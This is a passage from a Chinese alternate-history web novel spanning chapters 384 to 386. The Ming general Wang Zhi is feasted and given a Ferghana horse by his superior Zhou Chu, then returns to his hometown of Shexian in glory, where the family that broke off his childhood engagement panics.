一说起吃的,汪直顿时来了精神,在东瀛这么多年,林廌和齐良不断地和他说京城什么什么好吃,特别是醉仙楼的菜,那叫一个绝,他心里一直想着有一天来到京城,一定要去醉仙楼尝一尝。 现在听到齐良说这话,喉咙里忍不住就分泌出了口水。 “醉仙楼居然是大人开的?” 汪直有些不可思议道。 醉仙楼他听林廌和齐良说过无数次,但汪直无论如何都没办法把醉仙楼和周大人联系在一起。 毕竟在汪直眼里,周大人是那种雄才大略之人。 “林老二没和你说过吗?” 齐良有些意外道。 “没有啊,你们只和我说过醉仙楼的菜多好吃,我哪知道醉仙楼是大人开的?” 汪直一脸懵道。 “大人为官之前,是一个商人,倒也不能这么说,大人的经历很是传奇,回头你买一本关于大人的话本好好看看就知道了,一句两句说不清楚。” 齐良一时之间不知道该从何说起,干脆不说了。 第384章 汪直醉酒,周楚赠良驹 汪直和齐良两人都不太敢和周楚喝,但两人却是不断地较劲,在东瀛的时候,他们会偶尔在一起喝喝酒,但也不敢喝太多,怕误了事,现在都回到京城了,自然是敞开了喝。 周楚让人将齐良叫来,就是让他来陪酒的,毕竟汪直只是和自己在一起吃饭喝酒的话,估计会很拘谨。 周楚吃的差不多之后,直接就离开了酒桌,这让原本还有些拘谨的齐良和汪直直接放开了,端着酒杯开始拼酒。 齐良的酒量明显要好很多,毕竟经常喝酒,汪直在东瀛偶尔也喝酒,但从不敢喝多,因此酒量一直也没练上去。 很快,汪直就喝多了,齐良也喝的有些微醺,看着趴在桌子上的汪直,醉眼朦胧的齐良得意一笑。 “喝好了吗?” 此时周楚去而复返,看着齐良,笑道。 听到这话,齐良顿时打了个激灵,酒醒了大半。 “大人。” 齐良躬身行礼道。 “不需要这么多礼数,喝好了就行,汪直好不容易回来一趟,自然要让他尽兴,他在我面前过于拘谨,他和你关系不错,我就想着让你过来陪他喝酒,你们应该也是很久没见了。” 周楚笑道。 “是啊大人,属下也没想到会这么快就在京城见到汪将军,东瀛那个地方其他的都还好,就是东西太难吃了,还有那些东瀛娘们,有些脸上画的跟妖魔鬼怪一样。” 齐良喝了不少酒,听到周楚这么说,瞬间放松了下来,言语之间也比平时大胆了许多。 “去弄一碗醒酒汤。” 周楚看着一旁的婢女,说道。 “东瀛这个地方就是如此,你可知道陛下和本官为何如此看重汪直吗?” 周楚看着齐良说道。 周楚说这话,也是为了敲打一下齐良,免得齐良生出不该有的野心,虽然这种概率很低,但齐良毕竟不像汪直和林廌,这两人在十几岁的时候就跟着自己了,林廌的价值观甚至都是周楚帮忙塑造的,周楚对他自然是放心的。 汪直更不必多说。 只有齐良,他比林鹿还要大几岁,周楚认识他的时候,他的三观早已成型,想要改变谈何容易,对于齐良,周楚谈不上多了解,让他去东瀛,完全是因为他是皇帝的表兄,有着这层关系,自然要比其他人可靠一些。 “属下明白,因为汪将军忠君爱国,没有野心。” 齐良并不蠢,反而很聪明,之前跟汪直相处了这么多年,对汪直的为人自然是十分了解的。 刚开始齐良还不明白,凭什么汪直这么一个出身极低,没什么背景的能成为大明在东瀛的统帅,自己背景通天,自觉能力比汪直还要强不少,却没有这个机会。 相处了一两年之后,齐良明白了,周大人和陛下之所以选中汪直,就是因为他没有野心,一心只想着为大明建功立业,将来好衣锦还乡。 齐良无数次将自己和汪直的位置在心底里对换过,他无数次问自己,倘若自己在汪直的位置,能否像汪直一般,毫无野心,一心为朝廷,为陛下做事。 即便是问了无数次,齐良仍然不敢确定答案,齐良很清楚,一旦让他掌权,又是在东瀛,天高皇帝远,手握重兵,完全可以自立为王的情况下,很少有人能拒绝的了这种诱惑。 但汪直却对这种诱惑视而不见,这让齐良对汪直很是敬佩。 周楚听到这话,瞥了齐良一眼,就是这一眼,让齐良汗毛直竖,原本的那些酒意瞬间消散。 “你能明白最好,东瀛天高皇帝远,倘若让一个野心之辈掌兵,于朝廷而言不是好事,甚至可能是一场灾难,无论是你,还是林秉真,虽说能监察汪直,但汪直倘若真的有野心的话,你们也是看不住的,这一点你应该明白。” 周楚说道。 秉真是林廌的字,和林鹿的字号一脉相承,一个叫稚心,一个叫秉真。 对于汪直的监察,就像是上了一把锁,但所有的锁都是防君子不防小人,小人如果想撬锁,有的是办法。 “属下明白,属下定会对大明,对陛下,对大人尽忠!” 齐良哪里还不明白周楚说这话什么意思,这就是在敲打他,一时之间,齐良额头上冷汗都冒出来了。 “你能明白最好,能像汪直这般管住自己心的少之又少,本官只是希望你和林秉真做好自己该做的事。” 周楚说话的功夫,一旁的婢女已经端过来醒酒汤了。 周楚接过醒酒汤,递给了齐良,齐良顿感受宠若惊,双手接了过来。 此时的齐良哪里还需要醒酒汤,早就被周楚吓醒了,不过还是将醒酒汤喝了。 “春兰,找几个人,送齐大人回去。” 周楚看着门外候着的春兰,说道。 “是,老爷。” 春兰说完这话,就去叫护院了。 “多谢大人,属下喝多了,有些失态,还望大人恕罪。” 齐良有些不好意思道。 即便齐良现在酒醒了,也要装醉,来领导家喝酒,你不喝醉,还十分清醒,显然是不给领导面子。 “本官就当你喝多了,有句话你要记住,你和林秉真,以及林稚心,都是陛下最亲近的人,陛下没有亲兄弟,你们要想着替陛下分忧。” 周楚叹了口气道。 齐良听到这话,明白这是周楚的交心之言,当即对周楚行了个礼。 “大人放心,属下明白的。” “去吧。” 周楚摆了摆手,说道。 该说的周楚都说了,齐良本身也不是不安分之人,只是偶尔的敲打还是有必要的,很多人内心一旦没了警钟,就会放纵。 齐良听到这话,这才退了出去。 周楚转头看向一旁喝的烂醉如泥的汪直,让几个婢女将他扶到客房之中,让他休息了。 直到第二天中午的时候,汪直才从宿醉之中悠悠转醒。 “大人您醒了?这是老爷让奴婢给您准备的醒酒汤。” 汪直刚睡醒,就听到一个清脆的女声。 汪直这才发现,旁边站着一个婢女,手里端着一碗醒酒汤。 汪直揉了揉脑袋,有些不好意思地接过醒酒汤,喝了下去。 喝完醒酒汤,汪直的记忆才慢慢恢复,昨日的饭菜实在是太过美味了,一想到这里,汪直就有些懊恼,都怪齐大人,一直和自己喝酒,导致自己菜都没吃几口。 不过周大人府上的酒确实非同一般,刷新了汪直对酒的认知,米酒汪直不是没喝过,不过之前喝的多少都有些发酸,像周大人府上的这种琼浆玉液,汪直还是第一次喝。 之前倒也听人说过,米酒极其讲究酿造的时间和火候,现打现喝,多放一天,味道就不一样,之前汪直还嗤之以鼻,现在才明白是自己目光短浅了。 汪直在婢女的伺候下洗漱完毕之后,其他婢女很快就端着一道道菜来到了汪直所在的厢房。 “老爷说昨日大人光顾着喝酒了,恐怕没来得及吃多少菜,我们周府的菜在外面可吃不到,老爷特意吩咐东厨备着菜,就等大人醒了之后现做。” 婢女一边说着,一边将这些饭菜放在屋子里的桌子上。 汪直听到这话,内心愈发感动,他怎么都没想到,周大人如此权势滔天的人物,还这么在乎自己这么一个小人物的感受。 汪直如今虽然是封号将军了,但在周楚面前,仍然觉得自己是个不起眼的小人物。 实际上也差不了多少,大明武将要比同级别的文官地位低很多,周楚的职位早已经到了顶,即便是朝中的很多大佬,如张璁,如韩玠严嵩,在周楚面前,都会十分拘谨。 更不用说汪直了。 汪直看着这一道道菜,想起昨日吃过的味道,喉咙忍不住耸动了一下,忍不住坐了下来,开始大快朵颐。 吃饱喝足之后,汪直在婢女的带领下,来到了正厅,此时周楚已经在正厅等着汪直了。 “我府上的厨子手艺还不错吧?” 周楚看着汪直,笑道。 “属下从未吃过如此美味的饭菜,多谢大人。” 汪直恭敬行礼道。 “在自己家里,就不必如此多礼了。” 周楚摆了摆手道。 “属下昨日醉酒失态,还望大人恕罪。” 汪直一想到自己昨日喝的烂醉如泥,就很不好意思,特别还是在自己的领导家中。 “无妨,你在东瀛多年,好不容易来一趟京城,岂能不让你尽兴。” 周楚无所谓道。 “多谢大人款待。” 汪直再次行礼道。 对于汪直如此多礼,周楚也有些无奈。 “你准备何时回老家?” 周楚看着汪直,问道。 “属下准备明日启程。” 汪直如实回答道。 “我这府上,刚好有几匹好马,你去挑一匹,衣锦还乡,怎么能没有一匹宝马良驹呢。” 周楚说道。 “大人为属下考虑的已经够多了,属下实在不敢再要...” 汪直的话还未说完,就被周楚打断了。 “说这些屁话,你忠于大明,忠于陛下,这些都是你应得的,这也是陛下特意嘱咐我,让我送你的。” 周楚摆了摆手道。 说完这话,周楚没给汪直再推辞的机会,而是看向一旁候着的养马太监陈通,陈通顿时会意,走了进来。 “这位大人,您随咱家来吧。” 汪直听到这话,也不好再推辞,只好跟着陈通来到了周府的马房。 周楚作为锦衣卫指挥使,这么多年,嘉靖送了周楚不少好马,包括严嵩张璁等人,都知道周楚是爱马之人,也送了周楚一些顶级的良驹,这些马都被陈通等人养着,周府的马房之中只是很少的一部分,是周府日常用的,京城之外,还有着周楚的一个马场。 那个马场是周楚花了不少钱买下来的一块地,特意弄的。 即便周府的马房之中的马不多,却也都是一些顶级的良驹,汪直看到这些马之后,眼睛都直了,行军打仗这么多年,什么马好,什么马不行,汪直自然是一眼就能看得出来。 眼前的这些马,比他在军中骑过的那些战马不知道要强了多少。 “大人,这踏雪乌骓是老爷的坐骑,还有这匹,是夫人的坐骑,除了这两匹,其他的您随便挑。” 陈通指了指乌骓马和另外一匹马,说道。 乌骓马被陈通等人伺候的油光水滑的,每天吃着最好的草料,没事还会去马场跑上两圈。 汪直看到这么多好马,一时间眼都花了,不知道挑选哪一匹好了。 汪直一个个看过去,直到看到一匹马之后,眼睛再也挪不开了。 这匹马浑身银白色,毛发的色泽极为耀眼,如同绸缎一般。 “大人真是好眼光,这是一匹汗血宝马,是林大人征服叶尔羌汗国之后,特意给大人带过来的。” 陈通介绍道。 当初林鹿征服叶尔羌汗国之后,发现赛德汗的马场之中,有不少汗血宝马,林鹿本就是爱马之人,如何忍得住,直接将这些汗血宝马全都带了回来,其中近一半都送给了周楚,另外一半送给了嘉靖,只给自己留了一匹。 汪直眼前的这匹,就是其中之一,其他的汗血宝马,并不在府上,都在马场之中。 一听是汗血宝马,汪直眼睛更亮了,不过一想到汗血宝马的名贵,汪直还是摇了摇头,觉得自己不该要这么名贵的马。 “还是换一匹吧,汗血宝马太过名贵了。” 汪直满脸不舍道。 “大人喜欢就好,老爷吩咐了,只要是大人相中的,不管是哪一匹,都可以牵走,这汗血宝马,老爷的马场之中,还有不少,大人不必担心。” 陈通说道。 听到这话,汪直眼睛顿时亮了,对汗血宝马的喜爱再也掩饰不住。 陈通当即会意,将汗血宝马牵了出来。 “大人试一试,这汗血宝马性子烈,虽说已经驯服了,但大人第一次骑,还是要加些小心。” 陈通嘱咐道。 汪直听到这话,从陈通手中接过缰绳,抚摸了一下汗血宝马的毛发,顿感爱不释手,当即翻身上马。 正所谓春风得意马蹄疾,说的就是现在的汪直。 第385章 汪直回乡,权力的滋味 当年汪直的父亲是死在海上的,可以说是尸骨无存,给汪直留下的只有他那些平日里穿的衣物,这些衣物汪直一直随身带着,为的就是有朝一日自己光宗耀祖之后,能带着这些衣物衣锦还乡,为父亲立一个衣冠冢。 汪直的老家在南直隶徽州府歙县,汪直原名王直,后来从军之后,云瑾给他改了个名字,叫汪直,不过王直的身份也保留了,这次汪直回乡,自然用的是王直这个名字。 王家在歙县原本是个很富庶的家族,但汪直五六岁的时候,王家家道中落了,汪直父子连饭都吃不上了,原本汪直还有个娃娃亲,家道中落之前,那家人算是高攀的。 但王家家道中落之后,这家人生怕被汪直父子连累,第一时间找到汪直父子,让他们签了退婚书。 彼时汪直年龄还小,还不懂被逼着退婚有多么屈辱,但汪直的爹懂,所以他没脸在歙县继续待下去了,带着汪直远走他乡,并且一直和汪直说将来一定要出人头地,光宗耀祖。 汪直的爹也是冲着这方面努力地,即便是去当海盗,也只是想赚到足够多的钱,好带着汪直衣锦还乡,好好把当年丢的脸挣回来。 可惜他死在了海上,注定是回不去了。 但汪直却记住了自己父亲的嘱托,将来一定要出人头地,光宗耀祖,这也是汪直为何对光宗耀祖如此执着的原因。 如今汪直做到了,成为了大明的封号将军,在歙县这么个小地方,别说是封号将军了,就算是县太爷,都是天一样的存在,汪直这个封号将军荣归故里,整个歙县都震动了。 对于汪直如今的身份地位,汪直的爹恐怕做梦都没想过,想都不敢想,但汪直却是切切实实的实现了。 汪直骑着汗血宝马,前面有锦衣卫开道,后面也有锦衣卫护送着皇帝赏赐给他的财物,以及周楚给他的那些字画,还有汪直从东瀛带回来的一百多万两白银。 原本这些白银汪直还不敢明目张胆地带回来,但林廌却不以为然,说我们为大明为陛下输送了多少白银?才拿了这么一点点,陛下知道了,反而会觉得你忠心,对你更加放心,你如果一点都不拿,陛下反而不放心。 林廌其实是没有这么高的政治觉悟的,林廌每次回京,都会第一时间去拜访周楚,周楚言语之间对他多有嘱咐,这话其实是周楚对他说的。 “你们在东瀛,捞点银子没什么,只要不是太多,东瀛天高皇帝远的,你们要是表现的一点捞钱的想法都没有,陛下反而要担心了。” 周楚之所以这么说,就是想用白银堵住林廌和齐良那未成长起来的野心。 不然的话,他们几个守着银山,自己却是拿不到一点,时间长了,心里肯定是不平衡的,与其如此,周楚倒不如让他们直接拿。 汪直几人也是极有分寸的,或者说他们觉得自己已经拿的够多了。 像汪直,即便是王家之前春秋鼎盛的时候,整个王家满打满算也不过两三万两银子罢了,现在汪直拿了这么多,心中都觉得愧对大明,愧对陛下,陛下甚至还特地派了锦衣卫帮自己护送这些白银,汪直越想越觉得自己不是个玩意。 一路上,汪直一直在暗暗发誓,将来定为陛下,为周大人尽死。 汪直的白银当初在天津码头并没有动,而是从天津码头直接走水路运送到了南直隶离歙县最近的码头,等汪直到了之后,带着锦衣卫去取的。 对于汪直的这些钱财,嘉靖特意嘱咐过,甚至还特地安排了锦衣卫看管着,生怕有人动了歪心思。 这点钱,如今的嘉靖是看不上的,这些年,汪直从东瀛为大明运送的白银,嘉靖都不知道有多少了,可以说是海量的,倘若将这些白银尽数投入大明的市场之中,白银将会大大贬值。 所以嘉靖没有这么做,而是将这些白银的一大部分存入了皇家银行的库房之中,剩下的一小部分入了国库,还有一小部分入了嘉靖自己的内帑。 这些年这些白银通过皇家银行如同细水长流一般,慢慢的流入市场,原本大明市面上,铜钱的持有量远超过同价值的白银,但通过这些年皇家银行的运行,如今大明市面上,铜钱和白银的持有量基本上持平了,如此才是一个相对健康的金融体系。 至于剩下的白银,嘉靖按照周楚的说法,不必急着流入到市面上去,而是通过皇家银行,一点一点将这些白银融入到整个大明的金融体系之中。 这些年,汪直将近数万东瀛人全部抓了去挖矿,大明的数万将士,近一半都用来监工了,一个大明将士可以监督十几个东瀛人,在不计较东瀛人死活的情况下,挖矿的进度相当快。 当然,汪直也明白围三缺一的道理,为了防止这些东瀛人造反,汪直也不会把他们逼的太急了,不至于让他们饿死,至于挖矿死于矿难的,那都是意外。 剩下的将士,则在汪直的带领下,不断地从本州岛往外扩张,不过兵力有限,扩张的范围也很有限,主要是以本州岛为根基。 之后汪直和东瀛的那些大名建立起了贸易往来,原本大明的那些走私集团就和东瀛的大名们一直有着交易往来,但自从这些人被周楚打掉之后,交易就断了,大名们断了这么大的一个财路,自然是无比着急,得知汪直是代表大明来和他们交易的,这些大名一个个喜出望外。 不过如今的情况和之前完全不一样了,汪直全权代表大明,做的是垄断生意,而东瀛的大名想和汪直做生意的有很多,定价权完全在汪直这边。 汪直按照周楚的安排,将货物的价格抬高到了原本的三倍左右,即便如此,那些大名仍然如同见了血的鲨鱼一般,蜂拥而至。 大明的货物永远都是紧俏品,即便价格再贵,也不愁没人买,东瀛最不缺的就是白银,如一个豆青瓷碗,之前他们用相当于一百文钱的白银从大明商人手中买一个,然后卖给东瀛百姓的时候,会加价十倍,甚至更多。 这一点,周楚是清楚的,所以才让汪直提价到原本的三倍,即便进价是原本的三倍,东瀛的这些大名们仍然可以赚的盆满钵满。 当然,汪直和他们交易,要的不只是白银,还有粮食,毕竟无论是这数万大军,亦或是挖矿的那些东瀛人,都需要粮食。 汪直不是没想过让自己的人开船去安南那边买粮食,会便宜很多,但有这个时间,这些船用来和东瀛做生意或者运送白银,会赚的更多,用这些船去东南亚运粮食,对汪直他们而言,是得不偿失的。 如今大明的海商,凡是来东瀛做生意的,都要通过汪直这里,所有的货物卖给汪直,价格比原本要高两成左右,汪直反手一卖,赚的是海量的。 那些动了歪心思的海商,想要绕过汪直和东瀛人直接交易的,其他海商都容不下,因为如今的局面对所有海商都有利,汪直定的价格比原来的价格要高,没人希望有人乱来扰乱市场,让价格再次降到原本的水平。 所有人都清楚,一旦他们各自为战之后,东瀛就会彻底沦为买方市场,他们就失去了定价权,这是所有在东瀛做生意的海商都不希望看到的。 因此,这些海商一旦发现有人走私,就会直接向汪直举报,一经发现,这些人的下场都会很惨,在东瀛,汪直有先斩后奏的权限,一旦发现走私的,汪直就会将这些人直接杀了,震慑其他海商。 ..... 汪直如此大的排场,别说歙县了,就连徽州府的知府,以及一众官员都得到了消息,纷纷前来迎接汪直荣归故里。 一时之间,整个徽州府的官员几乎都出现在了小小的歙县。 “下官恭迎都指挥使大人回乡。” 徽州府知府带着一众官员,眼看着汪直来到众人面前,恭敬道。 汪直的官职是都指挥使,从二品,论官职比林鹿以及云瑾低了一个等级,毕竟林鹿和云瑾是嘉靖亲封的大将军,汪直只是个封号将军,其中的差距还是挺大的。 徽州府的知府只是个正四品的官员,虽说武将和同等级的文官相比,地位低了很多,但汪直和一般的武将可不同,这是皇帝最近亲封的封号将军,圣宠正隆,徽州知府自然不敢怠慢。 实际上汪直回乡的消息,正是嘉靖让人通知下来的,让徽州府的官员做好迎接工作,为的就是给汪直做足排场。 嘉靖太清楚汪直需要的是什么了。 汪直坐在马上,看着下面对自己神情恭敬的一众官员,一时之间有些恍惚,曾几何时,这些对他而言都是高高在上的官老爷,现在一个个都对自己低眉顺目的。 在汪直的印象之中,别说这些官老爷了,就算是官府的那些胥吏,一个个都是凶神恶煞的,当年汪直没有身份的时候,被那些官府的胥吏追的慌忙逃窜。 汪直从未想过有一天,那些高高在上的官老爷,会对自己这般恭顺。 直到此刻,汪直才真正体会到了权势那让人迷醉的感觉。 汪直翻身下马,来到一众官员面前。 “诸位不必多礼,本将驻守东瀛多年,多年未归乡,没想到惊动了诸位。” 汪直还礼道。 “大人哪里的话?大人荣归故里,我等自然是要恭迎的,我等为大人准备了酒宴,为大人接风洗尘。” 徽州知府说道。 “那就恭敬不如从命了。” 汪直从未感觉如此美妙,他从未想过,有朝一日,徽州的这些官老爷,会给自己接风洗尘,在京城,面对嘉靖,面对周楚的时候,汪直还没有直观的感受到权势给他带来的好处,现在算是彻底感受到了。 这也是嘉靖想要的结果,嘉靖就是要汪直沉迷于权势给他带来的感觉,嘉靖就是要让汪直明白,只有在大明为官,才能让他有这种感觉,其他的,哪怕在东瀛自立为王又如何呢?东瀛没人认识汪直,也没有汪直的同乡,更没有大明的官员,即便是自立为王,其中的感受也天差地别。 旁边那些被官府的胥吏以及锦衣卫挡在外面的百姓,看着汪直如此大的排场一个个都议论纷纷。 “这是谁啊,这么大的排场,这些官老爷我都不认识,只认识县太爷,县太爷都排不上号。” 其中一个百姓看着眼前的一幕,瞠目结舌道。 在歙县这种小地方,他还是第一次见到如此大的场面。 “这你们就不知道了吧?我表兄在县衙当差,他和我说过,这位是咱们大明的镇倭将军,镇守东瀛的大人物,老家就是咱们歙县的,别说是县太爷了,你们看知府老爷又怎么样?还不是得点头哈腰的?” 旁边一个穿着华服的年轻人满脸得意道。 “将军?我们歙县岂不是出了个大人物?” 旁边的百姓惊呼道。 “那可不?这位将军姓王,是咱们歙县王家之人,就是十多年前败落的那个王家。” 华服年轻人继续说道。 关于汪直的身份,并不是什么秘密,如果汪直的身份还保密的话,就谈不上衣锦还乡了。 “王家?这位将军不会叫王直吧?” 其中一个百姓忍不住说道。 “大胆,王大人的名讳岂是你可以直呼的?” 一旁的一个胥吏听到这话,厉声喝道。 那人听到这话,急忙抽了自己几个嘴巴子。 “小的有眼不识泰山,小的知错。” 胥吏见这人这么识趣,也就没再追究。 “还真是王大人,王大人的事我是知道的,当年王家败落,王大人原本有个娃娃亲的,被人退了亲,王大人的父亲带着他远走他乡,自此杳无音讯,没想到十多年过去了,当年的孩子如今成了这么大的官老爷。” 此人看着旁边其他人满是求知的眼神,忍不住说道。 “也不知道是谁瞎了狗眼,居然敢向王家退婚。” 周围的百姓听到这话,有人幸灾乐祸道。 所有人都清楚,这家人要倒霉了,即便是汪直不和他们计较,下面这些官员为了讨好汪直,也不会放过这家人。 以后这家人在歙县的日子,恐怕是举步维艰了。 “如今王大人功成名就,荣归故里,这家人要是知道的话,恐怕肠子都得悔青了。” 另一个人说道。 第386章 汪直回家,王家往事 如今的本州岛,有世界上最大的银矿之一,还有炼钢所,一旦汪直有了其他想法,完全可以利用这些白银迅速招兵买马,然后用炼钢所打造兵器铠甲。 所以无论是嘉靖亦或是周楚,都要确保汪直对大明和朝廷的忠心,即便知道汪直忠心耿耿,还是要做很多事,多上几层保险。 嘉靖一直都清楚,一旦汪直有了其他心思,一定要在第一时间雷霆处理,否则的话,一旦让汪直发展起来,对大明而言,将会是尾大不掉。 所以嘉靖为了汪直回乡,不惜大费周章,就是为了让汪直体会到在大明身居高位的好处,这些都是在东瀛自立为王体会不到的。 嘉靖甚至想让汪直趁着这次回大明,成婚生子,一旦有了家室,汪直的顾虑就更多了。 嘉靖是皇帝,皇帝做事,从不会去赌,赌汪直不会叛变,将主动权交给他人,是一件很蠢的事,所以嘉靖会通过一系列手段,将主动权掌握在自己手中。 林廌和齐良就是其中之一。 林廌和齐良在东瀛深耕多年,并不是只知道吃喝玩乐,本州岛的一举一动,他们都掌握的清清楚楚,一旦汪直有风吹草动,他们就会第一时间上报朝廷,让朝廷以最快的时间反应。 汪直在徽州知府等一众官员的招待下,觥筹交错,很是畅快,不过有了之前在周府饮酒的经验,汪直大致知道了自己的酒量,并不会喝多,常年带兵打仗,让汪直有着很强的戒备之心,对于眼前这些官员,汪直并不会傻乎乎的认为他们没有其他心思。 “多谢诸位大人款待,本官感激不尽,本官此次回乡,主要是为先父落叶归根,先父当年客死他乡,说来惭愧,那是本官还年幼,连他老人家的尸骨都没找到,这次回来,准备给他老人家立个衣冠冢,诸位大人稍待,本官先行告辞了。” 酒足饭饱之后,汪直行礼道。 “王大人真是孝感动天啊,既如此,我等就不留大人了。” 徽州知府眼看着汪直都这么说了,自然不好强留,回礼道。 汪直和众人一一见礼,各自介绍了一番之后,这才离去,出了官驿,汪直翻身上马,带着锦衣卫和车队,浩浩荡荡的向自己的老家去了。 汪直的老家本就离官驿和歙县县衙不是很远,毕竟当初王家在歙县也算是小有名声,歙县这种小地方,但凡是有点钱的富庶人家,都很显眼。 汪直一路浩浩荡荡,周围的百姓自然知道原本没落的王家出了个大人物,一时之间,这个消息不胫而走,很快就在周边传遍了。 当初和汪直有娃娃亲的,正是魏家的女儿魏舒儿,魏家也是做小生意的,魏家当初为了攀附还没没落的王家,和王家定了娃娃亲,有了这门亲事之后,魏家的生意好了不少,慢慢也赚了一些钱。 歙县这种小地方,做生意说白了都是靠关系,越是小的地方,人际关系越是错综复杂,人连着人,其他人想要插一脚,简直难如登天。 原本的王家虽然不算多么富庶,但在歙县,有着很强的人脉,通过这些人脉为魏家铺路之后,魏家的生意慢慢就好了起来,渐渐地也赚到了很多钱。 直到王家家道中落,魏家翻脸不认人,第一时间就上门逼迫汪直父子退婚,之后更是火速和歙县的另外一个大家族定了亲事,毕竟王家对魏家而言,已经没了丝毫利用价值,魏家想要更进一步,自然要另外找一家攀附。 这些年,魏家靠着魏舒儿婆家的人脉和关系,生意越做越大,整个魏家的家产加起来,已经有数万两白银了,这在歙县,已经算是人上人了。 这让魏舒儿的爹魏正先无比得意,得意自己当机立断,迅速和王家撇清关系,彼时魏舒儿还年幼,只是娃娃亲,无人在意,否则等魏舒儿大一些了,倘若再退婚,再想说一门好的亲事,就很难了。 毕竟这个年代,大家在乎的都是名声,黄花大闺女一旦退婚,无论是谁对谁错,都会对其名声产生不好的影响,想要再说一门门当户对的亲事,就很难了。 魏正先在家中一边看着自己的小妾跳着舞,一边喝着酒,用手打着拍子,好不惬意,管家却满脸焦急地跑了进来。 “什么事,这么急急躁躁的,你也跟了我有二十年了吧,怎么还是改不掉毛躁的毛病。” 魏正先看到管家这副模样,有些不悦道。 “老....老爷。” 管家是一路跑过来的,此时气还没有喘匀。 “老爷,那王家,当初和小姐退婚的那个王直.....” 管家说着又开始喘起了气。 “那小子怎么了?回来了?他们父子不是早就离开歙县了吗?如今怎么有脸回来了?” 魏正先听到这话,倒是来了兴致,他此时还没有意识到事情的严重性,以为汪直不过是回乡罢了,在他看来,王家父子背井离乡十多年,能混多好?能有他魏家好? 所以他完全是把这件事当个乐子看。 “老爷,那个王直,如今是朝廷的大将军,都指挥使,从二品的官职。” 管家终于把气喘匀了,一口气说完了。 魏家的官家并不清楚将军和大将军的区别,在他看来,别说从二品的官职了,平日里看到七品的县令,都得恭敬行礼,知府更是见都见不到。 从二品的官,对他们而言,从来都是可望不可即的存在。 “什么!” 魏正先听到这话,手忍不住一哆嗦,手中的酒杯掉在了地上,酒水撒了一地,不过此时魏正先显然顾及不到这些了。 “你说的可是真的,真是王直?” 魏正先看着管家,声音哆嗦道。 “千真万确啊老爷,小的刚听到这个消息的时候,还不太敢相信,特地过去远远的看了一眼,虽说过去了十多年,但那为首的大官,眉宇之间和当初的王直有七分相似,那位大人排场很吓人,锦衣卫开道,后面拉钱财的车队根本看不到头。” 管家心有余悸道。 当初逼迫王家退婚,正是管家一手操办的,他自然是认识汪直的,虽说过去了这么多年,但汪直的长相并没有太大的变化,管家还是一眼就认了出来。 魏正先听到这话,心都在哆嗦,手脚冰凉,一时之间感觉全身的血都凝结了。 当初他们逼迫王家退婚,算是把事情做绝了,相当于把王家父子的脸面按在地上摩擦,这件事之后,王家父子就没脸在歙县待了,这才选择远走他乡。 这个仇,算是结死了,不过原本魏正先不在乎,在他看来,王家父子穷困潦倒,说不定就饿死在异乡了,即便饿不死,也很难出头。 他从未想过,汪直有一天会有如今的成就。 “快快快,去备厚礼,将库房里的绸缎全都拿出来,还有那些黄金白银,全都装箱子,让人去把小姐叫回来,我们去王家请罪。” 魏正先的大脑经历了一阵混乱之后,迅速理清了思绪,他很清楚,现在唯一的选择,就是求得汪直的原谅,否则别说整个歙县了,就算是整个徽州府,都无人能替他们做主。 这可是从二品的朝廷大员啊,这是什么概念?南直隶的巡抚,也不过是正二品,那可是封疆大吏,到了这个级别的官员,有多大的能量,魏正先想都不敢想。 但他很清楚,汪直想碾死他们,比碾死一只蚂蚁还要简单。 此时的魏正先只感觉眼前无比昏暗,他甚至都不敢想,倘若汪直不原谅他们,魏家以及他,会是一个什么样的后果,他甚至不敢带着魏家的人跑路。 这可是大明境内,跑的再快,跑得过锦衣卫吗?没听管家说如今的王直,都是锦衣卫开道吗? 这是什么样的排场,什么样的地位? 魏正先不敢想,更不愿意去想。 另外一边,王家其他几支族人得知汪直衣锦还乡,还成了都指挥使的时候,满脸的不可置信,随即满心狂喜。 当初汪直父子背井离乡之时,他们王家虽然败落了,但他们这几支还是拼拼凑凑,为汪直父子凑足了盘缠,否则汪直父子根本就走不到福建沿海,恐怕就饿死在路上了。 对于自家的这些长辈,汪直一直都是心存感激的,汪直的爹活着的时候,总是嘱咐汪直,说将来咱们爷俩发达了,一定不能忘了家里那些人。 这次汪直回乡,一来是为了自己的父亲落叶归根,二来就是为了自己的这些族人。 “是黑娃吗?” 一个看上去比汪直大了几岁的男人,看着坐在马上的汪直,声音有些颤抖道。 黑娃是汪直的乳名,汪直小时候生的黑,王家的人就都叫他黑娃。 此人正是汪直的堂兄,汪直小的时候,两人的关系一直都极好。 “黑娃是你叫的,叫大人!” 此人旁边站着的一个中年男人听到这话,吓了一跳,一巴掌打在此人后脑勺上面,说道。 此人正是汪直的大伯,王镇。 王镇在王家没败落的时候,可谓是意气风发,当初王家的败落,说白了是遭人算计,王镇的爹,汪直的爷爷被人做了局,在赌场上将家产全都输了,因此悬梁自尽,王家一朝败落,谁也阻止不了。 王镇这些年体会了人情冷暖,自然清楚人心易变,更何况当初自己这个小侄子离开歙县的时候还很小,对自己和王家这些人还有多少印象尚未可知。 如今自己的这个侄子身居高位,那可是从二品的朝廷大员啊,王镇做梦的时候,都不敢梦到自家后代能出这么一个高官,顶天了就是梦到自己的孙子成为这歙县的县令。 “大伯,大哥,叫我黑娃就行,不必如此生分。” 眼看着王镇就要躬身行礼,汪直急忙翻身下马,扶住了王镇。 汪直当初离乡的时候,已经记事了,虽说关于王镇父子的记忆已经很久远了,但见到他们的瞬间,这些记忆瞬间清晰了起来。 “哪能叫黑娃,你现在的身份不同往日了,不能再叫黑娃了。” 王镇看着自己的这个侄子,感受着汪直说话的态度,悬着的一颗心顿时放了下来,他清楚自己的这个侄子,还是当初的那个侄子,心性并未改变。 汪直听到这话,笑了笑,不置可否,他现在的身份,再叫黑娃确实不太合适,刚才他也不过是客气一下罢了。 “你爹呢?” 王镇看着汪直,问道。 汪直听到这话,神情一暗。 “我爹当年为了出人头地,四处做生意,最后遇到了歹人...” 汪直说到一半,说不下去了。 王镇父子自然是听出了汪直话里的意思,王镇眼睛瞬间红了。 他没想到和自己的这个弟弟当年一别,竟然是永别。 以汪直如今的身份,自然不会说他爹当初去当了海盗,这要是让老家的人知道了,即便以汪直现在的身份他们不敢明面上说什么,背地里不知道要如何说呢。 到时候王家的名声恐怕不会太好。 所以汪直给他爹编了个过往。 “当年我还年幼,没找到爹的尸骨,他的一些衣物我一直保存着,为的就是有朝一日能够回来,让他落叶归根。” 汪直悲戚道。 “早知道是这么个结果,当初我无论如何都不该让他离开歙县。” 王镇此时已经泪流满面,这倒不是演的,完全是情真意切。 